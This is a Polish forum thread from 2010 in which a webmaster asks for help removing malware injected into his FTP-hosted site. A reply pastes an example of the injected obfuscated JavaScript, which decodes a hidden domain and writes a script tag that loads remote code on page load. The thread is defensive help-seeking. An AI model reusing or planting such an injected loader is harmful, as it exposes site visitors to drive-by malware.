Strona jako dokonująca ataków! + Prośba o Pomoc., HELP :( Opcje

[kamykthm]

Witam, dostał mi się jakiś robal na ftp'a i dostaje po oczach taki komunikat:

Strona zgłoszona jako dokonująca ataków!

Strona wwww.artrent.in została zgłoszona jako strona stanowiąca zagrożenie i została zablokowana zgodnie z ustawieniami bezpieczeństwa.

Wywołuje w/w strone z chwilą gdy na domenie nie ma głównego pliku index.* lub katalogu (każdy wie o co chodzi)

Przyznam szczerze że w pewnym okresie czasu dużo osób miało dostęp do ftp'a, ale nie do całego tylko do określonych katalogów, z tym że tam nic nie znalazłem. Szukałem również w innych plikach złośliwego kodu, ale bez skutku. Stąd moje pytanie czy ktoś ma jakiś pomysł aby to g...o usunąć. Mam na ftp'ie ponad 15GB danych, php + html + js etc. Przeskanowanie tego wszystkiego plik po pliku (a tak doradzili mi w home, bo mam tak hosting + podeślą logi i kazali zaktualizować cmy) zajmie mi chyba z rok ;/

I moje drugie pytanie, czy istnieje narzędzie/program aby przeskanował określone pliki php/html i wyszukał określoną skłądnie/kod ?

Proszę o HELP.

[Wiktor P.]

Możecie podać przykładowy dopisywany kod ?

[HTML] pobierz, plaintext 
<script> 
try
{window.onload=function()
{
document.write('<div id=megaid>opera-com.mercadolibre.co</div>');Z2actjidmypp = document.getElementById('megaid').innerHTML + 'm@!.(m#)&x&@.!)&v&&k$&^)o)n^@!t!& 
 
(...)
 
m#@^/!)'.replace(/#|\(|\$|\)|\^|\!|@|
&/ig, '') ;document.write('<scr'+'ipt src=http://'+Z2actjidmypp.replace(/DEBUG/g, '8080')+'></scr'+'ipt>');
} 
}  catch(Lozwklx ) {}
</script>
 
<!--2587ada5e557ba7c3bd1e13bcc3aa4c8-->
[HTML] pobierz, plaintext 

A jeśli chodzi o zgłoszenie prośby do Google o ponowne sprawdzenie strony, to linka nie podam gdzie to się robi, bo nie pamiętam.
Ale w moim przypadku czekałem na interwencję około 48h więc bardzo krótko.

W kwestii Linuksa, jako grafik możesz mieć drugi system i na nim używać klienta ftp.
Polecam Ubuntu Studio. To jest dystrybucja właśnie dla grafików.

Ten post edytował Wiktor P. 14.06.2010, 17:55:37